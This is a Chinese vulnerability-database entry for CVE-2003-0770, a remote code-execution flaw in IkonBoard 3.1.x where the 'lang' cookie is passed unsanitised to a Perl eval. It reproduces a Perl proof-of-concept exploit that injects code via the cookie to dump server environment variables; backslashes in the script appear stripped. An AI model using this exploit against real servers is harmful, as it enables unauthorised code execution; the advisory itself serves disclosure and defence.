IkonBoard FUNC.pm漏洞

IkonBoard FUNC.pm漏洞

漏洞ID 1107274 漏洞类型 未知
发布时间 2003-04-15 更新时间 2003-09-22
图片[1]-IkonBoard FUNC.pm漏洞-安全小百科CVE编号 CVE-2003-0770
图片[2]-IkonBoard FUNC.pm漏洞-安全小百科CNNVD-ID CNNVD-200309-026
漏洞平台 CGI CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/22499
https://www.securityfocus.com/bid/82735
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200309-026
|漏洞详情
IkonBoard3.1.2a及包含3.1.1的早期版本中的FUNC.pm在包含非法字符时不能正确净化“lang”cookie。远程攻击者在cookie插入Perl的“eval”语句时执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/7361/info

It has been reported that IkonBoard is prone to an arbitrary command execution vulnerability. The vulnerability is due to insufficient sanitization performed on user supplied cookie data.

An attacker may exploit this issue to execute arbitrary commands in the security context of the web server hosting the vulnerable IkonBoard. 

#!/usr/bin/perl -w
use strict;

my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
my $HEAD = qq|"Content-type: text/plainrnrn"|;

use IO::Socket;

my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";

my $val =
     qq|."if print($HEAD,map"$_ => $ENV{$_}n",keys%ENV)&&exit;#|;

$val =~ s#(W)# sprintf '%%%.2X', ord $1 #ge;

$sock->print(
    "GET $PATH HTTP/1.1rn",
    "Host: $HOSTrn",
    "Cookie: lang=$valrn",
    "Connection: closern",
    "rn"
) or die "write: $!";

print while <$sock>;
|受影响的产品
Ikonboard.com ikonboard 3.1.2A

Ikonboard.com ikonboard 3.1.1

|参考资料

来源:BUGTRAQ
名称:20030401IkonBoardv3.1.1:arbitrarycommandexecution
链接:http://www.securityfocus.com/archive/1/317234
来源:BUGTRAQ
名称:20030908IkonBoard3.1.2aarbitrarycommandexecution
链接:http://www.securityfocus.com/archive/1/336598
来源:BUGTRAQ
名称:20030917Exploit:IkonBoard3.1.1/3.1.2aarbitrarycommandexecution
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=106381136115972&w;=2

相关推荐: Apache printenv样例脚本跨站脚本执行漏洞

Apache printenv样例脚本跨站脚本执行漏洞 漏洞ID 1206645 漏洞类型 跨站脚本 发布时间 2000-02-01 更新时间 2000-02-01 CVE编号 CVE-2000-1205 CNNVD-ID CNNVD-200002-010 漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享